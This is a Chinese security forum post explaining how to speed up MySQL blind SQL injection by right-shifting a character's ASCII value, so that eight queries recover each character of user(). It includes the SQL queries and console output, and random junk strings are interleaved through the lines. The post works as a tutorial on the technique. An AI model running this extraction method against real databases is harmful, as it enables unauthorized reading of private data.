找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2064|回复: 0
打印 上一主题 下一主题

关于通过对8bit的ascii做右位移提高mysql盲注效率

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:25:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位8 N1 ^' V! M, j5 a- p. X% o8 A6 u

7 W0 j. u1 G/ [$ c) E
8 p$ X7 G( R& g6 Q" t% `' x2 x) [  U, x: d6 w
下面将以查询mysql数据库当中user()的第一位为例:/ h; k+ F  N: F3 {7 _" c* J$ }2 J

+ x- u# ]% h; A5 {% y 1 a- |) _* N2 ?5 O* [& ?

9 m4 R" `1 c# p4 s9 l1 `ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)
7 W' a4 ]; ^1 F, |3 w) h
4 s4 j- D; k1 {! J! P. n' f* D 1 o4 l# m# r& U
) t! |. u9 V4 U" U; G  J. Z
首先执行如下sql语句:
  M0 i7 a8 q; G) h" T. F1 H: F, Y. _# }6 }
) f( j2 M! R$ t. a
8 X8 l. ~. e/ T$ r% v
mysql> select (ascii((substr(user(),1,1))) >> 7)=0;
" S8 w& Z0 i9 F0 H# ~
2 e+ M1 e; o) q) E: y  f0 O; {1 [+ Q 2 m; a' X, D( _. Y: A

0 F7 `* d7 b$ x. c7 c我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的
8 M) X3 D5 i8 ^: S1 H
) F; R  C  _, K8 C" I9 p. ^6 K$ e 0 b) B3 p5 o/ g5 K9 j

7 \) ?# X2 r) z' I" D第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1
. ?4 E2 U* h  R( ^7 Y; |# M
7 X+ l& j8 e( g: X7 _2 k5 I4 b% o3 S
0 K  E) V1 a+ c, d" m8 `; C& o( A) P. S5 L
如果运算结果为1,说明第一位为0,不为1, k2 }2 c' w' f, ^+ I$ {

5 ]7 o2 P  \6 `# L; ~
5 [5 B3 t5 ?  Q8 e
% \( R1 \  h+ Y. i+ M. e, W0 U+————————————–+
( h6 g! _8 i% E' w) E6 |
  ~# o2 c( U' [+ w9 C% ]9 }| (ascii((substr(user(),1,1))) >> 7)=0 |" m: }3 u4 f- @$ P  S# w  H  G0 n9 B. Q
3 C0 w8 u0 [  T$ g) o
+————————————–+
/ v3 _6 b4 n. K0 C- J# M  R3 A" c+ F) V$ @6 S* {6 s4 Z
| 1 |
- j, Q3 `* y  t1 [0 O9 O
5 Y( g, ~8 Z+ w2 K2 h* Y+————————————–+" v" B; z0 w! V. W0 w7 A
+ l+ l- n  x0 Q. r
1 row in set (0.00 sec)0 t, ?/ a6 f0 }  Y
: V1 i2 N0 p/ b- X0 t
这样我们就确定这个8bit的ascii的第一位为0
- p+ d& d2 L  M/ ?- N" y9 K0 G
& x/ i# I% h% G2 Q0 P2 P
2 Y9 y3 c2 }7 ^9 ?. X6 K: r' Q
) J0 D0 z" Y) K7 n第二次我们来做6次右偏移来确定前两位
$ h/ ?1 ~' G/ A, [+ D0 T* b
4 [* |  y4 C' F; S/ s & W2 Q# b- u( _3 p/ M
8 N( x( P+ O8 N- u
前两位可能是01或00,即依然可以与0做比较,! ^' v' `5 [- l8 J: n

' _# `$ W. p$ G6 Z: e3 Y# Tmysql> select (ascii((substr(user(),1,1))) >> 6)=0;
2 |5 h9 j: S) D. p0 |' q; u- L& R2 j  C- n
+————————————–+" g: k% y7 S2 ~3 n4 B- I6 R5 e
8 u( s% l  W+ x5 G
| (ascii((substr(user(),1,1))) >> 6)=0 |5 ]- ~/ F( }- x- y; p

7 E' I6 G9 H; `6 m( E4 p% x+ C+ l4 c+————————————–+% f" @4 c3 Q% k; R) M' ?& D% Z
  r( {/ [# O2 L
| 0 |0 P+ ~2 P* o8 k+ I

7 ~. k2 i( @' v/ v) S, ?+————————————–+
2 W  V! F/ L, b4 \
0 N: _" ]2 g, f( a5 F1 row in set (0.00 sec)- I( _& U* e& ~# C3 h, `

' u. R( C2 g! Y  h) x1 S8 M, q* a& i 2 ]( c* R* C6 ~- O% J, D" U
* y, z: X% T- L+ N1 }
结果为0,即第二位为1
% d0 t) t8 b- u7 O7 {, |" k! E
0 a) w7 L2 D' f3 o5 i6 y
* g" ~5 S- m. n! c1 b
( r; V# h. _( S! z2 S% n  c开始猜测前三位为010或0110 d: C) r% ^/ i' [. E

) O3 z, _; S9 T- A/ |) x: w + ]6 D" f' C& h; ?& o

% x+ o# f- D9 p8 J- Q" a* y" u让我们看看010和011的ascii码是多少
6 e6 a3 I/ [' Y0 I0 Z; P* p  ?' Z# S7 k) D! Q
8 p, v& B2 @* y5 ]
+ c, R& F4 X: o5 Y
分别查询select b’011′ select b’010′
; l+ h2 \) @0 p
5 D+ I% ~' N6 g( E' x # N* }0 `) x; }4 Y
! s& H7 x4 k8 x
获得结果 010 = 2 011 = 3
& D: Y0 T' o, O) o$ ?: i9 q6 ?6 L7 y! F5 J# c
2 }4 x$ @3 d4 m9 e6 s; f" z& v4 l
8 a2 I2 C; l9 @2 K! s+ S$ Q
执行如下sql:
4 O: x3 B  `( j0 m% q- q3 F' m
' u! Q, c5 N$ z& g0 j 6 c- X$ _/ E0 G" P% J

0 p2 Z. K3 L% G+ `mysql> select (ascii((substr(user(),1,1))) >> 5)=2;% ^) O* o' Z; Q: X- _$ Q) _

  {- s" U" B+ A9 n3 v+————————————–+5 N( Y0 x8 ]( e1 X: `* z

* ~. H/ z( N6 Z! o% n8 o| (ascii((substr(user(),1,1))) >> 5)=2 |3 s4 m- m, H; ~" U4 f  ?6 }

& y! I2 n! P' z5 f3 P" s, Y+————————————–+
" U" V0 ?, R0 r& r
2 ?1 F8 S+ ]7 ?# Z| 0 |+ `" U) _+ }9 I5 V; j! X$ r& F

- L5 O' r* A+ W' R& a7 @+————————————–+8 f0 w/ P9 A2 B- ~$ [
$ [  L) U1 }2 q5 J8 G
即前三位不为010,而是011) U4 Z( h1 {: |2 y/ i9 K  U) o/ w

, N+ Y  N: G2 J! ]# }/ u5 W ' g. u! v1 h* J. c5 A

- p8 f2 |. L6 h' l: b$ t直到获得最后一位
9 x3 ~- S4 X/ t
4 P4 q( @& S/ _& Q8 ?+ d
3 F' q0 V! m4 \0 Z0 P$ o: O$ v$ [4 a- `8 j4 W. {# Y
最终结果为:01110010
: ?, a) @/ v6 g$ d+ F5 J$ z
6 T% h0 ^1 D# f1 Z
( f0 w( Q+ }8 ]( b& @, l- Y4 ?$ n
, g: a2 f" B) b4 d1 }转换一下:
3 x8 G' |( `; d3 b, \: W2 @6 Z9 ~  c$ m9 j+ o

2 i' T( P& B$ N. d, S' W
: V* l8 ?" n+ j  cselect b’01110010′
8 g; c* \9 g( a
. s0 S- b! X4 ?" {- T
6 o( J- o- j: w, f9 K
% A0 P% U# R2 h. \" a7 ^4 D查询结果8 @, Z) A3 X6 d& T5 m
/ P4 o0 a- P9 S  _" D1 m( p

5 l1 Q" t6 ]( y1 Q- L0 o" T$ n
! v, n. {) T, n- s! N% g+————-+
7 f$ t+ E3 `7 ~  v7 j' u
: \0 K9 l; E, h3 W" x6 z) i| b’01110010′ |
6 |  |. F. L; u. A5 e  ?% u2 l6 X5 R7 ?* i: m2 b6 K, \# v
+————-+. K% E6 e1 T7 Q. U
: w7 }7 f- \/ ^8 c7 V7 Y- h
| r |
- M! }& M0 a* v$ k4 E0 P7 @! o' `
+————-+
; ?3 y7 v+ y! Q9 T) C; m9 X( n9 _6 m: e. J5 @
1 row in set (0.00 sec)( n( ^! o, V' O; p- j. ?  F, {, M
& m+ e) W* g$ {/ ?7 m1 p
. N# d9 S" O9 _. x$ Y  V, N

3 [4 ?$ E" O+ y: d3 R+ M这样我们就获得了user()的第一位.其它位依此类推
& D3 ?) s$ M$ p; |5 |9 H8 ]( x% b' s+ u/ A5 A2 `+ R
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表